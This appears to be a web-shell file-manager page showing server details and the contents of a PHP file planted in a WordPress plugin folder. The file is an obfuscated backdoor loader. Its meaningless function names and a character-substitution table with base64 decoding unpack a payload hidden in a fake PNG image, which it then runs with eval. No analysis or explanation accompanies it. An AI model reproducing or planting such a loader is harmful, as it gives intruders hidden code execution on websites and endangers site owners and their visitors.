HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/plugins/alememe/nybywu.txt
<?php

function acozul_nozhyreg($adipuh_rubothadi) {
    $ypoceth = kycele_ezuthamusha(1);
    $winuho = kycele_ezuthamusha(2);
    for ($foxiso = 0; $foxiso < strlen($ypoceth); $foxiso++) {
        $pyhure = substr($ypoceth, $foxiso, 1);
        $nudosu = substr($winuho, $foxiso, 1);
        $vyraqyw[$pyhure] = $nudosu;
    }

    $adijiro = strtr($adipuh_rubothadi, $vyraqyw);
    $adijiro = base64_decode($adijiro);

    return $adijiro;
}

function kycele_ezuthamusha($adipuh_rubothadi) {
    if ($adipuh_rubothadi == 1)
        return josuco_dokobozh();
    if ($adipuh_rubothadi == 2)
        return vumoji_ypedashyqa();
}

function yziwuh_fakegagix($adipuh_rubothadi) {
    $comiji = array();
    if (!file_exists($adipuh_rubothadi))
        return false;
    $malupav = @file_get_contents($adipuh_rubothadi);
    if (!$malupav)
        return false;
    $malupav = substr($malupav, 3);
    $comiji = acozul_nozhyreg($malupav);
    return $comiji;
}

function josuco_dokobozh() {
    $malupav = "PgqOSyhZoHJCBLVm2dctWAMr91zbDxGu540kv8+UnIaTY3E=X/6pfleFQR7jiNswK";
    return $malupav;
}

function vumoji_ypedashyqa() {
    $comiji = "GAtKjBJY0U3PhLTN=m2qeb+SvnwzZyFQ1Ro8X65I4CpfV7rx/dkHualWE9gDMiscO";
    return $comiji;
}

$zevazu = yziwuh_fakegagix(__DIR__ . "/asse" . "ts/i" . "mages/" . "chysud" . "i.pn" . "g");
if ($zevazu) {
    @eval($zevazu);
}